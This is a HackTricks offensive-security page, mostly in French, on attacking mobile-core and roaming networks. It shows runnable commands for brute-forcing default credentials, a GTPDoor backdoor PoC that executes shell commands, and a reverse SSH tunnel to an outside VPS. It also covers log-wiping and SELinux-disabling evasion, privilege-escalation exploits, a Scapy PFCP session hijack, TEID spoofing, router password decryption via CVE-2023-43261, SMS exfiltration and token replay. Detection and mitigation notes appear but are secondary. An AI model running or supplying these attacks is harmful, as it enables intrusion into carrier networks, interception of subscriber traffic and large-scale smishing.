Exploitation des réseaux télécom (GTP / environnements de roaming)

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Note

Les protocoles du mobile-core (GPRS Tunnelling Protocol – GTP) traversent souvent des backbones de roaming GRX/IPX semi-fiables. Parce qu’ils transitent sur UDP en clair avec presque aucune authentification, tout point d’appui à l’intérieur du périmètre d’un opérateur télécom peut généralement atteindre directement les plans de signalisation core. Les notes suivantes rassemblent des astuces offensives observées en liberté contre SGSN/GGSN, PGW/SGW et autres nœuds EPC.

1. Recon & Initial Access

1.1 Default OSS / NE Accounts

Un nombre étonnamment important d’éléments réseau fournis par les vendors sont livrés avec des utilisateurs SSH/Telnet codés en dur tels que root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Une wordlist dédiée augmente fortement le succès du brute-force :

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Si l’équipement n’expose qu’un VRF de gestion, pivotez d’abord via un jump host (voir la section «SGSN Emu Tunnel» ci‑dessous).

1.2 Découverte d’hôtes dans GRX/IPX

La plupart des opérateurs GRX autorisent encore les ICMP echo à travers le backbone. Combinez masscan avec les UDP probes gtpv1 intégrées pour cartographier rapidement les GTP-C listeners :

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Énumération des abonnés – cordscan

L’outil Go suivant construit des paquets GTP-C Create PDP Context Request et enregistre les réponses. Chaque réponse révèle le SGSN / MME actuel servant l’IMSI interrogé et, parfois, le PLMN visité de l’abonné.

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Options clés :

  • --imsi IMSI de l’abonné cible
  • --oper Opérateur / HNI (MCC+MNC)
  • -w Écrire les paquets bruts dans un pcap

Des constantes importantes à l’intérieur du binaire peuvent être patchées pour élargir les scans :

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Code Execution over GTP – GTPDoor

GTPDoor est un petit service ELF qui écoute sur UDP 2123 et analyse chaque paquet GTP-C entrant. Lorsqu’une charge utile commence par un tag pré-partagé, le reste est déchiffré (AES-128-CBC) et exécuté via /bin/sh -c. Le stdout/stderr est exfiltré à l’intérieur des messages Echo Response de sorte qu’aucune session sortante n’est jamais créée.

Paquet PoC minimal (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Détection :

  • tout hôte envoyant des unbalanced Echo Requests vers des adresses IP SGSN
  • GTP version flag défini sur 1 alors que message type = 1 (Echo) – écart par rapport à la spécification

4. Pivoting à travers le core

4.1 sgsnemu + SOCKS5

OsmoGGSN fournit un émulateur SGSN capable d’établir un PDP context vers un GGSN/PGW réel. Une fois négocié, Linux reçoit une nouvelle interface tun0 accessible depuis le roaming peer.

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Avec un firewall hair-pinning correctement configuré, ce tunnel contourne les VLANs réservés à la signalisation et vous place directement dans le data plane.

4.2 SSH Reverse Tunnel sur le port 53

DNS is almost always open in roaming infrastructures. Exposez un service SSH interne sur votre VPS en écoute sur :53 et revenez plus tard depuis chez vous:

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Vérifiez que GatewayPorts yes est activé sur le VPS.

5. Canaux cachés

CanalTransportDécodageRemarques
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)écouteur purement passif, pas de trafic sortant
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) encoded in A-record octetssurveille le sous-domaine *.nodep
GTP – GTPDoorUDP 2123AES-128-CBC blob in private IEse fond dans le trafic GTP légitime

Tous les implants implémentent des watchdogs qui timestomp leurs binaires et se relancent s’ils plantent.

6. Cheatsheet d’évasion des défenses

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilege Escalation sur Legacy NE

# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Astuce de nettoyage :

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Boîte à outils

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – custom tooling described in previous sections.
  • FScan : intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : lightweight SOCKS5 pivoting
  • FRP (≥0.37) : NAT traversal / asset bridging

9. Attaques d’enregistrement NAS 5G: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

La procédure d’enregistrement 5G s’exécute sur NAS (Non-Access Stratum) au-dessus de NGAP. Tant que la sécurité NAS n’est pas activée par le Security Mode Command/Complete, les messages initiaux ne sont pas authentifiés ni chiffrés. Cette fenêtre pré-sécurité permet plusieurs vecteurs d’attaque lorsqu’on peut observer ou altérer le trafic N2 (par ex., on-path inside the core, rogue gNB, ou testbed).

Flux d’enregistrement (simplifié) :

  • Registration Request: UE envoie SUCI (SUPI chiffré) et capabilities.
  • Authentication: AMF/AUSF envoient RAND/AUTN ; UE retourne RES*.
  • Security Mode Command/Complete: NAS integrity et ciphering sont négociés et activés.
  • PDU Session Establishment: configuration IP/QoS.

Conseils de configuration du labo (non-RF) :

  • Core: le déploiement par défaut d’Open5GS suffit pour reproduire les flux.
  • UE: simulateur ou UE de test ; décoder avec Wireshark.
  • Active tooling: 5GReplay (capturer/modifier/rejouer NAS within NGAP), Sni5Gect (sniff/patch/inject NAS à la volée without bringing up a full rogue gNB).
  • Useful display filters in Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Confidentialité des identifiants : échecs SUCI exposant SUPI/IMSI

Attendu : UE/USIM doit transmettre SUCI (SUPI chiffré avec la clé publique du réseau d’origine). Trouver un SUPI/IMSI en clair dans le Registration Request indique un défaut de confidentialité permettant le suivi persistant des abonnés.

Comment tester :

  • Capturer le premier message NAS dans InitialUEMessage et inspecter le Mobile Identity IE.
  • Vérifications rapides dans Wireshark :
  • Il doit décoder comme SUCI, pas IMSI.
  • Exemples de filtres : nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci should exist; son absence plus la présence de imsi indique un leak.

Que collecter :

  • MCC/MNC/MSIN si exposés ; enregistrer par UE et suivre dans le temps/les emplacements.

Mitigation :

  • Forcer les UEs/USIMs à n’utiliser que SUCI ; générer une alerte pour tout IMSI/SUPI présent dans le NAS initial.

9.2 Abaissement de capability vers des algorithmes nuls (EEA0/EIA0)

Contexte :

  • L’UE annonce les EEA (encryption) et EIA (integrity) supportés dans le UE Security Capability IE du Registration Request.
  • Mappages courants : EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC ; EEA0/EIA0 sont des algorithmes nuls.

Problème :

  • Comme le Registration Request n’est pas protégé par intégrité, un attaquant on-path peut effacer des bits de capability pour forcer la sélection d’EEA0/EIA0 plus tard pendant le Security Mode Command. Certains stacks autorisent à tort les algorithmes nuls en dehors des services d’urgence.

Étapes offensives :

  • Intercepter InitialUEMessage et modifier le NAS UE Security Capability pour n’annoncer que EEA0/EIA0.
  • Avec Sni5Gect, intercepter le message NAS et patcher les bits de capability avant transmission.
  • Observer si l’AMF accepte les chiffrement/integrity nuls et complète le Security Mode avec EEA0/EIA0.

Vérification/visibilité :

  • Dans Wireshark, confirmer les algorithmes sélectionnés après Security Mode Command/Complete.
  • Exemple de sortie d’un sniffer passif :
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Mesures d’atténuation (obligatoires) :

  • Configurer AMF/policy pour rejeter EEA0/EIA0 sauf lorsque strictement exigé (par exemple, appels d’urgence).
  • Préférer l’application d’EEA2/EIA2 au minimum ; journaliser et générer des alertes sur tout contexte de sécurité NAS qui négocie des algorithmes nuls.

9.3 Rejeu de la Registration Request initiale (pre-security NAS)

Parce que le NAS initial manque d’intégrité et de fraîcheur, un InitialUEMessage+Registration Request capturé peut être rejoué vers l’AMF.

Règle PoC pour 5GReplay afin de transférer les replays correspondants :

<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

À observer :

  • Whether AMF accepts the replay and proceeds to Authentication ; l’absence de validation de fraîcheur/contexte indique une exposition.

Mitigations :

  • Enforce replay protection/context binding at AMF ; rate-limit et corréler par GNB/UE.

9.4 Tooling pointers (reproducible)

  • Open5GS : démarrer un AMF/SMF/UPF pour émuler le core ; observer N2 (NGAP) et NAS.
  • Wireshark : vérifier le décodage de NGAP/NAS ; appliquer les filtres ci‑dessus pour isoler Registration.
  • 5GReplay : capturer une Registration, puis replay des messages NGAP + NAS spécifiques selon la règle.
  • Sni5Gect : live sniff/modify/inject le control-plane NAS pour forcer des null algorithms ou perturber les sequences d’Authentication.

9.5 Defensive checklist

  • Inspecter en continu les Registration Request pour SUPI/IMSI en clair ; bloquer les devices/USIMs fautifs.
  • Reject EEA0/EIA0 sauf pour des procédures d’urgence strictement définies ; exiger au minimum EEA2/EIA2.
  • Detecter l’infrastructure rogue ou mal configurée : gNB/AMF non autorisés, peers N2 inattendus.
  • Alerter sur les modes de sécurité NAS qui entraînent des null algorithms ou des replays fréquents d’InitialUEMessage.

10. Routeurs cellulaires industriels – Abus d’API SMS non authentifiée (Milesight UR5X/UR32/UR35/UR41) et récupération d’identifiants (CVE-2023-43261)

Abusing exposed web APIs des routeurs cellulaires industriels permet des smishing furtifs d’origine opérateur à grande échelle. Les routeurs Milesight UR-series exposent un endpoint de style JSON-RPC à /cgi. Lorsqu’elle est mal configurée, l’API peut être interrogée sans authentication pour lister les SMS inbox/outbox et, dans certains déploiements, pour send SMS.

Requêtes typiques non authentifiées (même structure pour inbox/outbox) :

POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

Les réponses incluent des champs tels que timestamp, content, phone_number (E.164), et status (success ou failed). Les envois répétés failed vers le même numéro sont souvent des « capability checks » de l’attaquant pour valider qu’un routeur/SIM peut délivrer avant de blast.

Exemple de curl pour exfiltrate SMS metadata:

curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

Notes sur les artefacts d’auth :

  • Certain trafic peut inclure un auth cookie, mais une grande partie des appareils exposés répondent sans aucune auth à query_inbox/query_outbox lorsque l’interface de gestion est accessible depuis Internet.
  • Dans les environnements nécessitant auth, des credentials previously-leaked (voir ci-dessous) permettent de restaurer l’accès.

Credential recovery path – CVE-2023-43261:

  • Affected families: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
  • Issue: les logs servis via le web (p.ex., httpd.log) sont accessibles sans auth sous /lang/log/ et contiennent des événements de connexion admin avec le mot de passe chiffré à l’aide d’une clé/IV AES codée en dur présente dans le JavaScript côté client.
  • Practical access and decrypt:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

Exemple minimal en Python pour déchiffrer les leaked passwords (AES-128-CBC, hardcoded key/IV) :

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

Hunting and detection ideas (network):

  • Alert on unauthenticated POST /cgi whose JSON body contains base/function set to query_inbox or query_outbox.
  • Track repeated POST /cgi bursts followed by status":"failed" entries across many unique numbers from the same source IP (capability testing).
  • Inventory Internet-exposed Milesight routers; restrict management to VPN; disable SMS features unless required; upgrade to ≥ v35.3.0.7; rotate credentials and review SMS logs for unknown sends.

Shodan/OSINT pivots (examples seen in the wild):

  • http.html:"rt_title" matches Milesight router panels.
  • Google dorking for exposed logs: "/lang/log/system" ext:log.

Operational impact: using legitimate carrier SIMs inside routers gives very high SMS deliverability/credibility for phishing, while inbox/outbox exposure leak sensitive metadata at scale.


11. PFCP Session Hijack & GTP-U TEID Abuse

11.1 PFCP Session Modification to steal flows

If you can speak PFCP on N4 (e.g., from a mis-filtered GRX/IPX segment), craft a Session Modification Request that inserts a duplicate PDR ID but with a smaller Precedence and a FAR pointing to your host. Some UPFs (e.g., OAI-cn5g) apply the first matching PDR and never check for uniqueness, so the malicious PDR hijacks all subsequent packets of that PDU session to your sink.

Minimal Scapy PoC (assumes PFCP contrib is available and you know SEID/PDR IDs):

Scapy PFCP session hijack PoC ```python from scapy.all import * from scapy.contrib.pfcp import *

n4 = “10.10.20.5” # UPF N4 seid = 0x123456789abc pdr_id = 7 # existing PDR ID in session far_id = 77 # new malicious FAR

pkt = IP(dst=n4)/UDP(sport=8805,dport=8805)/PFCP( S=1, seid=seid, msg_type=MODIFICATION_REQUEST)/PFCPSessionModificationRequest( IE_list=[PDR(id=pdr_id, precedence=1, outer_header_removal=0, far_id=fid_identifier(far_id)), FAR(id=far_id, apply_action=0b10, # FORWARD forwarding_parameters=ForwardingParameters( outer_header_creation=OuterHeaderCreation( desc=0x0002, ipv4_address=“203.0.113.55”, teid=0xdeadbeef)))] ) send(pkt, verbose=False)

</details>

### 11.2 Injection de trafic utilisateur en usurpant les TEIDs
Si le GTP-U uplink depuis le backbone n’est pas ACL’d, vous pouvez rejouer/deviner les **TEIDs** observés dans les en-têtes GTP-U et encapsuler des paquets IP/TCP arbitraires vers le pair de l'UE ou vers Internet. Exemple craft:
```python
send(IP(dst="10.10.20.8")/UDP(dport=2152,sport=2152)/
GTP_U_Header(teid=0x7ffed00)/
IP(src="10.0.0.10",dst="1.1.1.1")/TCP(dport=443,flags="S"))

Associez cela au passive sniffing sur N3/N6 pour apprendre les TEIDs actifs ; de nombreuses piles PGW/UPF acceptent n’importe quelle source uplink dès que le TEID correspond.


12. SBA/SBI Fuzzing & Cross-Service Token Attack (free5GC R17)

FivGeeFuzz (academic 2025) dérive automatiquement des grammars à partir des specs 3GPP OpenAPI pour fuzz les HTTP-based SBIs. Contre free5GC, il a découvert huit bugs, dont l’abus Cross-Service Token : une NF compromise obtient un access token pour Service A et le réutilise contre Service B parce que les vérifications audience/issuer faisaient défaut dans la NF cible.

Quick replay idea (assuming you stole an NRF-issued token from any NF):

# Swap :authority to the victim NF and reuse the bearer token
curl -sk -H "Authorization: Bearer $TOKEN" \
-H "Host: smf.internal" \
https://smf.internal/nsmf-pdusession/v1/sm-contexts

Pour fuzz automatiquement avec les grammaires FivGeeFuzz :

python3 fivgeefuzz.py --nf nsmf-pdusession \
--target https://smf.internal \
--grammar grammars/nsmf-pdusession.json \
--token "$TOKEN" --threads 8 --max-cases 500

Surveillez les contournements 401/403 et les plantages dans les pods SMF/AMF ; les builds free5GC patchés rejettent des aud/iss non appariés.


Idées de détection

  1. Tout appareil autre qu’un SGSN/GGSN établissant des Create PDP Context Requests.
  2. Ports non standards (53, 80, 443) recevant des SSH handshakes depuis des IP internes.
  3. Echo Requests fréquents sans Echo Responses correspondantes – pourraient indiquer des beacons GTPDoor.
  4. Taux élevé de trafic ICMP echo-reply avec des champs identifier/sequence importants et non nuls.
  5. 5G: InitialUEMessage contenant des NAS Registration Requests répétées depuis des endpoints identiques (signal de replay).
  6. 5G: NAS Security Mode négociant EEA0/EIA0 en dehors des contextes d’urgence.
  7. PFCP: Session Modification contenant des PDR IDs dupliqués ou une redirection FAR soudaine vers des off-net IPs.
  8. SBA: NRF émet des tokens dont le aud ne correspond pas au NF appelé – indicatif d’un replay de Cross-Service Token.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks